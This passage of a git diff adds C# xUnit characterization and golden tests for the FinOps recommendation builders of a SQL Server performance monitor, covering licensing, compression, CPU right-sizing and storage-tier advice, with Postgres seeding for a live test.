+        InEnUs(() =>
+        {
+            var rows = Enumerable.Range(1, 11).Select(i => Io($"d{i}", 100, 0, 100, 0)).ToList();
+            var row = FinOpsRecommendationFigures.StorageTier(rows)!;
+            Assert.Equal("11 database(s) with low IO latency — standard storage may suffice", row.Finding);
+            Assert.Contains("d10 (read 0.0ms, write 0.0ms) and 1 more. Premium", row.Detail, StringComparison.Ordinal);
+            Assert.DoesNotContain("d11", row.Detail, StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public void StorageTier_WindowTotalsCoverQualifyingDatabasesOnly()
+    {
+        InEnUs(() =>
+        {
+            var t0 = new DateTime(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc);
+            var rows = new[]
+            {
+                Io("in1", 100, 0, 100, 0, t0.AddHours(1), t0.AddHours(2), 10L),
+                Io("in2", 100, 0, 100, 0, t0.AddHours(3), t0.AddHours(4), 20L),
+                // Out on read latency: its early first sample, late last sample and 1000 samples must not count.
+                Io("out", 100, 5000, 100, 0, t0.AddDays(-30), t0.AddDays(30), 1000L)
+            };
+            var row = FinOpsRecommendationFigures.StorageTier(rows)!;
+            Assert.Contains("across " + RightSizingWindow.Describe(30L, TimeSpan.FromHours(3)) + ":", row.Detail, StringComparison.Ordinal);
+            Assert.DoesNotContain("out (", row.Detail, StringComparison.Ordinal);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationsCharacterizationTests.cs b/Darling/Darling.Tests/FinOpsRecommendationsCharacterizationTests.cs
new file mode 100644
index 0000000000..f737570221
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationsCharacterizationTests.cs
@@ -0,0 +1,315 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the exact output of the FinOps recommendation builders that the viewer exposes as statics: every field of every
+/// row (category, severity, confidence, finding, detail and the savings figure). The text is formatted in the current
+/// culture, so each test runs in en-US and restores the previous culture. Money is compared as its invariant string so a
+/// change in decimal scale fails too. A change that moves these builders must leave every expectation below untouched.
+/// </summary>
+public sealed class FinOpsRecommendationsCharacterizationTests
+{
+    private const string SecondaryDetail =
+        "This instance is currently a secondary replica in an Availability Group. " +
+        "Every replica in an AG must run the same SQL Server edition, so edition and " +
+        "licensing decisions apply to the whole group and should be evaluated on the " +
+        "primary replica. A secondary used only for failover may also be covered by " +
+        "Software Assurance rather than separately licensed.";
+
+    private const string Modern2019Detail =
+        "Starting with SQL Server 2019, most previously Enterprise-only features " +
+        "(including TDE, compression, partitioning, and columnstore) are available " +
+        "in Standard Edition. Review whether remaining Enterprise-only features " +
+        "(such as Always On availability groups with multiple secondaries) are in use " +
+        "before considering a downgrade to Standard Edition.";
+
+    private const string PreTdeDetail =
+        "No databases use Transparent Data Encryption (TDE), the only feature " +
+        "still restricted to Enterprise Edition since SQL Server 2016 SP1. " +
+        "Review whether Standard Edition would meet workload requirements for potential license savings.";
+
+    private const string AgCaveat =
+        " Note: this instance is the primary replica of an Always On Availability Group. Standard Edition " +
+        "supports only Basic Availability Groups, which are limited to two replicas, a single database per " +
+        "group, and provide no readable secondary or backups on the secondary " +
+        "(see https://learn.microsoft.com/en-us/sql/database-engine/availability-groups/windows/basic-availability-groups-always-on-availability-groups#limitations). " +
+        "Factor this into any downgrade decision.";
+
+    private const string CoreMathDetail =
+        "Based on list pricing differential of ~$5,000/core/year between Enterprise and Standard. " +
+        "Actual savings depend on your licensing agreement. See Enterprise feature audit for downgrade blockers.";
+
+    private const string Enterprise = "Enterprise Edition (64-bit)";
+
+    private static void InEnUs(Action body)
+    {
+        var saved = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("en-US");
+            body();
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+
+    private static void AssertRow(RecommendationRow row, string category, string severity, string confidence,
+        string finding, string detail, string? savings)
+    {
+        Assert.Equal(category, row.Category);
+        Assert.Equal(severity, row.Severity);
+        Assert.Equal(confidence, row.Confidence);
+        Assert.Equal(finding, row.Finding);
+        Assert.Equal(detail, row.Detail);
+        Assert.Equal(savings, row.EstMonthlySavings?.ToString(CultureInfo.InvariantCulture));
+    }
+
+    [Theory]
+    [InlineData(1000)]
+    [InlineData(0)]
+    public void EditionAudit_EveryBranch_FullRows(int cost)
+    {
+        InEnUs(() =>
+        {
+            var monthly = (decimal)cost;
+            var forty = cost > 0 ? "400.00" : null;
+            var none = Array.Empty<string>();
+
+            var secondary = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 16, 16, none, monthly, "Secondary", true);
+            AssertRow(Assert.Single(secondary), "Licensing", "Low", "High",
+                "Enterprise Edition \u2014 Availability Group secondary replica", SecondaryDetail, null);
+
+            var modern = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 15, 16, none, monthly, "Standalone", false);
+            AssertRow(Assert.Single(modern), "Licensing", "High", "Medium",
+                "Enterprise Edition may not be required", Modern2019Detail, forty);
+
+            var modernPrimary = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 16, 16, none, monthly, "Primary", true);
+            AssertRow(Assert.Single(modernPrimary), "Licensing", "High", "Low",
+                "Enterprise Edition may not be required", Modern2019Detail + AgCaveat, forty);
+
+            var preStandalone = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 16, none, monthly, "Standalone", false);
+            AssertRow(Assert.Single(preStandalone), "Licensing", "High", "High",
+                "Enterprise Edition with no Enterprise-only features detected", PreTdeDetail, forty);
+
+            var prePrimary = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 16, none, monthly, "Primary", true);
+            AssertRow(Assert.Single(prePrimary), "Licensing", "High", "Medium",
+                "Enterprise Edition \u2014 review Availability Group requirements before downgrading", PreTdeDetail + AgCaveat, forty);
+
+            var preTde = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 16, new[] { "app_tde_a", "app_tde_b" }, monthly, "Standalone", false);
+            Assert.Equal(2, preTde.Count);
+            AssertRow(preTde[0], "Licensing", "Low", "High", "TDE in use \u2014 Enterprise Edition downgrade blocker",
+                "The following databases use Transparent Data Encryption: app_tde_a, app_tde_b. TDE must be removed before downgrading to Standard Edition.", null);
+            AssertRow(preTde[1], "Licensing", "Low", "Low", "Enterprise to Standard would save ~$6,667/mo at list pricing (16 cores)",
+                CoreMathDetail, "6666.6666666666666666666666667");
+        });
+    }
+
+    [Fact]
+    public void EditionAudit_Tde21Databases_TruncatesAt20_AndCoreMath()
+    {
+        InEnUs(() =>
+        {
+            var names = Enumerable.Range(1, 21).Select(i => $"tde_db_{i:D2}").ToList();
+            var recs = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 16, names, 1000m, "Standalone", false);
+
+            Assert.Equal(2, recs.Count);
+            AssertRow(recs[0], "Licensing", "Low", "High", "TDE in use \u2014 Enterprise Edition downgrade blocker",
+                "The following databases use Transparent Data Encryption: " + string.Join(", ", names.Take(20)) +
+                " and 1 more. TDE must be removed before downgrading to Standard Edition.", null);
+            AssertRow(recs[1], "Licensing", "Low", "Low", "Enterprise to Standard would save ~$6,667/mo at list pricing (16 cores)",
+                CoreMathDetail, "6666.6666666666666666666666667");
+        });
+    }
+
+    [Fact]
+    public void EditionAudit_CpuCountZero_OmitsCoreMathRow()
+    {
+        InEnUs(() =>
+        {
+            var recs = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 0, new[] { "app_tde_a" }, 1000m, "Standalone", false);
+
+            AssertRow(Assert.Single(recs), "Licensing", "Low", "High", "TDE in use \u2014 Enterprise Edition downgrade blocker",
+                "The following databases use Transparent Data Encryption: app_tde_a. TDE must be removed before downgrading to Standard Edition.", null);
+        });
+    }
+
+    [Fact]
+    public void EditionAudit_UsesTheCpuCountArgument()
+    {
+        InEnUs(() =>
+        {
+            var eight = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 8, new[] { "app_tde_a" }, 0m, "Standalone", false);
+            var thirtyTwo = ViewerDataService.BuildEditionAuditRecommendations(Enterprise, 13, 32, new[] { "app_tde_a" }, 0m, "Standalone", false);
+
+            Assert.Equal("Enterprise to Standard would save ~$3,333/mo at list pricing (8 cores)", eight[1].Finding);
+            Assert.Equal("3333.3333333333333333333333333", eight[1].EstMonthlySavings?.ToString(CultureInfo.InvariantCulture));
+            Assert.Equal("Enterprise to Standard would save ~$13,333/mo at list pricing (32 cores)", thirtyTwo[1].Finding);
+            Assert.Equal("13333.333333333333333333333333", thirtyTwo[1].EstMonthlySavings?.ToString(CultureInfo.InvariantCulture));
+        });
+    }
+
+    private static IndexCleanupIndexInput Index(string table, decimal? reservedMb, string compression = "NONE") => new()
+    {
+        SchemaName = "dbo",
+        TableName = table,
+        DataCompressionDesc = compression,
+        ReservedMb = reservedMb,
+    };
+
+    [Fact]
+    public void Compression_SevenCandidates_Top5ByReserved_AndMore2_N1Gb()
+    {
+        InEnUs(() =>
+        {
+            var rec = ViewerDataService.BuildCompressionRecommendation(new[]
+            {
+                Index("t_small_a", 1024m),
+                Index("t_big_b", 5120m),
+                Index("t_page_c", 9999m, "PAGE"),
+                Index("t_mid_d", 3072m),
+                Index("t_tiny_e", 1023.9m),
+                Index("t_null_f", null),
+                Index("t_tie_g", 1024m),
+                Index("t_top_h", 4096m),
+                Index("t_low_i", 2048m),
+                Index("t_half_j", 1536m),
+            });
+
+            Assert.NotNull(rec);
+            AssertRow(rec!, "Storage", "Medium", "High",
+                "7 uncompressed object(s) >= 1GB (17.5GB total)",
+                "Large uncompressed tables/indexes: dbo.t_big_b (5.0GB); dbo.t_top_h (4.0GB); dbo.t_mid_d (3.0GB); dbo.t_low_i (2.0GB); dbo.t_half_j (1.5GB) and 2 more" +
+                ". Consider PAGE or ROW compression to reduce storage and improve I/O.", null);
+        });
+    }
+
+    [Theory]
+    [InlineData(10240, "Low", "10.0")]
+    [InlineData(10241, "Medium", "10.0")]
+    [InlineData(51200, "Medium", "50.0")]
+    [InlineData(51201, "High", "50.0")]
+    public void Compression_SeverityEdges_10_50Gb(int reservedMb, string severity, string totalGb)
+    {
+        InEnUs(() =>
+        {
+            var rec = ViewerDataService.BuildCompressionRecommendation(new[] { Index("t_edge_a", reservedMb) });
+
+            Assert.NotNull(rec);
+            Assert.Equal("Storage", rec!.Category);
+            Assert.Equal(severity, rec.Severity);
+            Assert.Equal("High", rec.Confidence);
+            Assert.Equal($"1 uncompressed object(s) >= 1GB ({totalGb}GB total)", rec.Finding);
+            Assert.Equal($"Large uncompressed tables/indexes: dbo.t_edge_a ({totalGb}GB). Consider PAGE or ROW compression to reduce storage and improve I/O.", rec.Detail);
+            Assert.Null(rec.EstMonthlySavings);
+        });
+    }
+
+    private static UtilizationEfficiencyRow Util(decimal p95, int cpuCount, int engineEdition, decimal avg = 5.5m, int max = 40) => new()
+    {
+        ProvisioningStatus = ProvisioningVerdict.OverProvisioned,
+        P95CpuPct = p95,
+        AvgCpuPct = avg,
+        MaxCpuPct = max,
+        CpuCount = cpuCount,
+        EngineEdition = engineEdition,
+    };
+
+    [Fact]
+    public void CpuRightSizing_TargetCoresSavingsAndNouns()
+    {
+        InEnUs(() =>
+        {
+            /* 16 cores at P95 10%: (int)(16 * 10/70) = 2, floored to 4; savings 1000 * (1 - 4/16) * 0.60. */
+            var cores = ViewerDataService.BuildCpuRightSizingRecommendation(Util(10m, 16, 3), 1000m);
+            Assert.NotNull(cores);
+            AssertRow(cores!, "Compute", "High", "Medium",
+                "CPU over-provisioned (16 cores, P95 = 10.0%)",
+                "P95 CPU utilization is 10.0% (avg 5.5%, max 40%) across 16 cores. Consider reducing to ~4 cores.",
+                "450.0000");
+
+            var noBudget = ViewerDataService.BuildCpuRightSizingRecommendation(Util(10m, 16, 3), 0m);
+            Assert.Null(noBudget!.EstMonthlySavings);
+
+            var vcores = ViewerDataService.BuildCpuRightSizingRecommendation(Util(10m, 16, 5), 1000m);
+            AssertRow(vcores!, "Compute", "High", "Medium",
+                "CPU over-provisioned (16 vCores, P95 = 10.0%)",
+                "P95 CPU utilization is 10.0% (avg 5.5%, max 40%) across 16 vCores. Consider reducing to ~4 vCores.",
+                "450.0000");
+
+            /* 32 cores at P95 29%: (int)(32 * 29/70) = 13; Medium severity from 15% up. */
+            var medium = ViewerDataService.BuildCpuRightSizingRecommendation(Util(29m, 32, 3), 1000m);
+            Assert.Equal("Medium", medium!.Severity);
+            Assert.Equal("CPU over-provisioned (32 cores, P95 = 29.0%)", medium.Finding);
+            Assert.Contains("Consider reducing to ~13 cores.", medium.Detail, StringComparison.Ordinal);
+            Assert.Equal("356.2500000", medium.EstMonthlySavings?.ToString(CultureInfo.InvariantCulture));
+
+            /* Edges: P95 of exactly 30 and a CPU count of exactly 4 say nothing; 14.9 is High and 15 is Medium. */
+            Assert.Null(ViewerDataService.BuildCpuRightSizingRecommendation(Util(30m, 16, 3), 1000m));
+            Assert.Null(ViewerDataService.BuildCpuRightSizingRecommendation(Util(10m, 4, 3), 1000m));
+            Assert.NotNull(ViewerDataService.BuildCpuRightSizingRecommendation(Util(10m, 5, 3), 1000m));
+            Assert.Equal("High", ViewerDataService.BuildCpuRightSizingRecommendation(Util(14.9m, 16, 3), 1000m)!.Severity);
+            Assert.Equal("Medium", ViewerDataService.BuildCpuRightSizingRecommendation(Util(15m, 16, 3), 1000m)!.Severity);
+        });
+    }
+
+    [Fact]
+    public void DevTest_KeepsInputOrder()
+    {
+        var matched = ViewerDataService.MatchDevTestDatabases(new[]
+        {
+            "zeta_DEV_a", "master", "Alpha_QA_b", "tempdb", "prod_c", "staging_d", "msdb", "TestDb_e", "model",
+        });
+
+        Assert.Equal(new[] { "zeta_DEV_a", "Alpha_QA_b", "staging_d", "TestDb_e" }, matched);
+    }
+
+    [Fact]
+    public void SelectTde_OrdersIgnoreCase()
+    {
+        static DatabaseConfigRow Db(string name, bool encrypted, string state = "ONLINE") =>
+            new() { DatabaseName = name, IsEncrypted = encrypted, StateDesc = state };
+
+        var names = ViewerDataService.SelectTdeDatabaseNames(new[]
+        {
+            Db("b_db", true), Db("A_db", true), Db("C_db", true, "online"), Db("off_db", true, "OFFLINE"),
+            Db("master", true), Db("plain_db", false), Db("Z_db", true),
+        });
+
+        Assert.Equal(new[] { "A_db", "b_db", "C_db", "Z_db" }, names);
+    }
+
+    [Fact]
+    public void SeveritySort_AndSavingsDisplay()
+    {
+        InEnUs(() =>
+        {
+            Assert.Equal(1, new RecommendationRow { Severity = "High" }.SeveritySort);
+            Assert.Equal(2, new RecommendationRow { Severity = "Medium" }.SeveritySort);
+            Assert.Equal(3, new RecommendationRow { Severity = "Low" }.SeveritySort);
+            Assert.Equal(4, new RecommendationRow { Severity = "" }.SeveritySort);
+            Assert.Equal(4, new RecommendationRow { Severity = "high" }.SeveritySort);
+
+            Assert.Equal("$1,234", new RecommendationRow { EstMonthlySavings = 1234m }.EstMonthlySavingsDisplay);
+            Assert.Equal("$1,235", new RecommendationRow { EstMonthlySavings = 1234.5m }.EstMonthlySavingsDisplay);
+            Assert.Equal("$0", new RecommendationRow { EstMonthlySavings = 0m }.EstMonthlySavingsDisplay);
+            Assert.Equal("", new RecommendationRow { EstMonthlySavings = null }.EstMonthlySavingsDisplay);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationsGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsRecommendationsGoldenLiveTests.cs
new file mode 100644
index 0000000000..4e043870d0
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationsGoldenLiveTests.cs
@@ -0,0 +1,294 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Golden-fixture pin for the viewer's <c>GetRecommendationsAsync</c> over a deterministic seeded store, at a monthly
+/// cost of 1000 and at 0. The rows are serialized field by field (declaration order, decimals at their stored scale)
+/// and compared byte for byte with <c>Fixtures/FinOpsRecommendations/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c>
+/// to regenerate it.
+///
+/// <para>Server A is an Enterprise 14.x standalone server with 16 cores, two TDE databases, two dev/test database
+/// names, a CPU series whose mean sits just above 20% with a small spread, a memory series at about a fifth of the
+/// RAM and two indexes (one uncompressed 2 GB, one compressed). Its server_properties row carries a memory size that
+/// differs from the memory_stats one, so a swapped source changes the output. Server B is an Azure SQL Database
+/// (engine edition 5) with the same series: memory and VM advice stand down. Server C has no rows.</para>
+///
+/// <para>The seeded series are all inside the last 24 hours, so they are far from the 7-day cutoff and inside the
+/// utilization read's own 24-hour window.</para>
+/// </summary>
+public sealed class FinOpsRecommendationsGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-rec-golden-a";
+    internal const string ServerNameB = "darling-finops-rec-golden-b";
+    internal const string ServerNameC = "darling-finops-rec-golden-c";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+    internal static readonly int ServerIdC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+
+    [Fact]
+    public async Task GetRecommendationsAsync_MatchesGolden_ThroughTheViewer()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendations golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        var anchor = DateTime.SpecifyKind(now.Date, DateTimeKind.Unspecified);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await SeedAsync(connection, ct, now);
+        }
+
+        /* The fixture holds en-US formatted text ("13,080 MB", "20%"), so read and serialize under en-US. */
+        var savedCulture = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("en-US");
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB), ("c", ServerIdC) })
+            {
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["monthly1000"] = await viewer.GetRecommendationsAsync(id, 1000m, ct),
+                    ["monthly0"] = await viewer.GetRecommendationsAsync(id, 0m, ct),
+                };
+            }
+
+            AssertGolden(FinOpsOptimizationGoldenLiveTests.Serialize(anchor, map));
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = savedCulture;
+        }
+    }
+
+    [Fact]
+    public async Task GetRecommendationsAsync_MatchesGolden_ThroughStorage()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps recommendations golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        var anchor = DateTime.SpecifyKind(now.Date, DateTimeKind.Unspecified);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await SeedAsync(connection, ct, now);
+        }
+
+        /* The fixture holds en-US formatted text ("13,080 MB", "20%"), so read and serialize under en-US. */
+        var savedCulture = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("en-US");
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB), ("c", ServerIdC) })
+            {
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["monthly1000"] = (await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, id, 1000m, 30, cancellationToken: ct)).Select(RecommendationRow.From).ToList(),
+                    ["monthly0"] = (await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, id, 0m, 30, cancellationToken: ct)).Select(RecommendationRow.From).ToList(),
+                };
+            }
+
+            AssertGolden(FinOpsOptimizationGoldenLiveTests.Serialize(anchor, map));
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = savedCulture;
+        }
+    }
+
+    internal static async Task SeedAsync(NpgsqlConnection c, CancellationToken ct, DateTime? instant = null)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdB, ServerNameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerIdC, ServerNameC, ct);
+        /* One "now", captured once (the caller may pass the instant it anchors on); every seed time is an offset from it. */
+        var now = instant ?? DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* Feeds the edition audit (Enterprise, 14.x, standalone, 16 cores) and the VM right-sizing physical-memory
+           column; the physical memory here (98304) differs from memory_stats (65536) on purpose. */
+        await Props(c, ct, ServerIdA, ServerNameA, now.AddHours(-2), "Enterprise Edition (64-bit)", "14.0.3456.2", 3, 16, 98304);
+        /* Engine edition 5: memory and VM advice stand down. */
+        await Props(c, ct, ServerIdB, ServerNameB, now.AddHours(-2), "SQL Azure", "12.0.2000.8", 5, 8, 98304);
+
+        /* Feeds the edition audit's TDE branch (two encrypted ONLINE databases) and the dev/test detection. */
+        await Config(c, ct, now.AddHours(-3), "SalesA", true);
+        await Config(c, ct, now.AddHours(-3), "OrdersA", true);
+        await Config(c, ct, now.AddHours(-3), "app_dev_a", false);
+        await Config(c, ct, now.AddHours(-3), "qa1_a", false);
+
+        /* Feeds CPU right-sizing, the VM CPU advice and the reserved-capacity check: 31 samples about 45 minutes apart
+           over the last 22.5 hours (the oldest is 23.5 hours old), mean just above 20% with a spread well under 15% of the mean. */
+        int[] cpu = { 20, 22, 24, 21, 23, 22, 20, 24, 22, 21 };
+        for (var i = 0; i < 31; i++)
+        {
+            var at = now.AddMinutes(-(60 + 45 * i));
+            await Cpu(c, ct, ServerIdA, ServerNameA, at, cpu[i % cpu.Length]);
+            await Cpu(c, ct, ServerIdB, ServerNameB, at, cpu[i % cpu.Length]);
+        }
+
+        /* Feeds memory right-sizing and the VM memory advice: 20 samples, SQL memory about a fifth of 65536 MB. */
+        for (var i = 0; i < 20; i++)
+        {
+            var at = now.AddMinutes(-(60 + 60 * i));
+            var total = 13000m + 20 * (i % 5);
+            await Memory(c, ct, ServerIdA, ServerNameA, at, total);
+            await Memory(c, ct, ServerIdB, ServerNameB, at, total);
+        }
+
+        /* Feeds the compression candidates: a 2 GB uncompressed index and a compressed one. */
+        await Index(c, ct, now.AddHours(-2), 1, "BigUncompressed", 2048m, "NONE");
+        await Index(c, ct, now.AddHours(-2), 2, "BigCompressed", 3072m, "PAGE");
+
+        /* Feeds the idle-database builder. Its coverage gate wants the server's oldest query_stats row at or before
+           the 7-day cutoff, so one row is eight days old. SalesA also has a row inside the window, so it is active;
+           ArchiveA has size rows and no query activity, so it is the one idle database. The server's allocated total
+           (50000 + 2048 MB) is larger than the idle share, which gives the cost share a non-trivial divisor. */
+        await Size(c, ct, now.AddHours(-2), "SalesA", 50000m);
+        await Size(c, ct, now.AddHours(-2), "ArchiveA", 2048m);
+        await Query(c, ct, now.AddDays(-8), "SalesA", "0xA1");
+        await Query(c, ct, now.AddHours(-5), "SalesA", "0xA2");
+        /* The idle coverage rule also wants a sample on each of the 7 complete UTC days before today (D-7 through D-1), so a
+           gap inside the window does not read as a week of silence. One noon sample per day. */
+        for (var day = 1; day <= 7; day++)
+            await Query(c, ct, now.Date.AddDays(-day).AddHours(12), "SalesA", "0xD" + day);
+
+        /* Feeds the maintenance-window builder: one job that ran long five times and one three times, so the order
+           is clear. The three-time job averages 100.67 seconds, which pins the integer conversion of a fractional
+           average. A job that ran long twice stays under the threshold. */
+        for (var i = 0; i < 5; i++)
+            await Job(c, ct, now.AddHours(-(3 + 4 * i)), "WeeklyRebuildA", 4000, true);
+        long[] nightly = { 100, 101, 101 };
+        for (var i = 0; i < 3; i++)
+            await Job(c, ct, now.AddHours(-(4 + 5 * i)), "NightlyLoadA", nightly[i], true);
+        for (var i = 0; i < 2; i++)
+            await Job(c, ct, now.AddHours(-(6 + 5 * i)), "HourlyPurgeA", 500, true);
+
+        /* Feeds the storage-tier builder. OrdersA is the one database with over 1000 reads and low latency
+           (read 2 ms, write 1 ms). SalesA reads slowly (20 ms) with fast writes, so only the read limit excludes it, and ArchiveA has under 1000
+           reads so the aggregate filter drops it. The query has no ORDER BY, so only one database may qualify. */
+        for (var i = 0; i < 6; i++)
+        {
+            var at = now.AddHours(-(2 + 3 * i));
+            await FileIo(c, ct, at, "OrdersA", 400, 2, 200, 1);
+            await FileIo(c, ct, at, "SalesA", 400, 20, 200, 1);
+        }
+
+        await FileIo(c, ct, now.AddHours(-2), "ArchiveA", 500, 2, 100, 1);
+    }
+
+    private static Task Size(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, decimal sizeMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, $5, $6)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, sizeMb);
+
+    private static Task Query(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string handle) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text, delta_worker_time, delta_execution_count, delta_logical_reads, sample_interval_seconds) VALUES ($1,$2,$3,$4,$5,$6,$7,'SELECT 1',1000,1,1,60)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, "0xQ" + handle, handle);
+
+    private static Task Job(NpgsqlConnection c, CancellationToken ct, DateTime at, string job, long currentSeconds, bool runningLong) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO running_jobs (collection_time, server_id, server_name, job_name, job_id, start_time, current_duration_seconds, avg_duration_seconds, p95_duration_seconds, percent_of_average, is_running_long) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11)",
+            at, ServerIdA, ServerNameA, job, "id-" + job, at.AddSeconds(-currentSeconds), currentSeconds, 60L, 90L, 300.0m, runningLong);
+
+    private static Task FileIo(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, long reads, long readStallPerRead,
+        long writes, long writeStallPerWrite) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb, num_of_reads, num_of_writes, read_bytes, write_bytes, io_stall_read_ms, io_stall_write_ms, io_stall_queued_read_ms, io_stall_queued_write_ms, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, delta_stall_queued_read_ms, delta_stall_queued_write_ms) VALUES ($1,$2,$3,$4,$5,'data.mdf','ROWS','/data/data.mdf',100,10,5,8192,4096,50,25,0,0,$6,$7,8192,4096,$8,$9,0,0)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, reads, writes, reads * readStallPerRead, writes * writeStallPerWrite);
+
+    private static Task Props(NpgsqlConnection c, CancellationToken ct, int id, string name, DateTime at, string edition,
+        string version, int engineEdition, int cpuCount, int physicalMemoryMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, product_version, engine_edition, cpu_count, physical_memory_mb, is_hadr_enabled, ag_replica_role) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,FALSE,'Standalone')",
+            CollectionIdGenerator.Next(), at, id, name, edition, version, engineEdition, cpuCount, physicalMemoryMb);
+
+    private static Task Config(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, bool encrypted) =>
+        DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO database_config
+    (config_id, capture_time, server_id, server_name, database_name,
+     state_desc, compatibility_level, collation_name, recovery_model, is_read_only,
+     is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on,
+     is_auto_update_stats_async_on, is_read_committed_snapshot_on, snapshot_isolation_state,
+     is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on, is_db_chaining_on,
+     is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
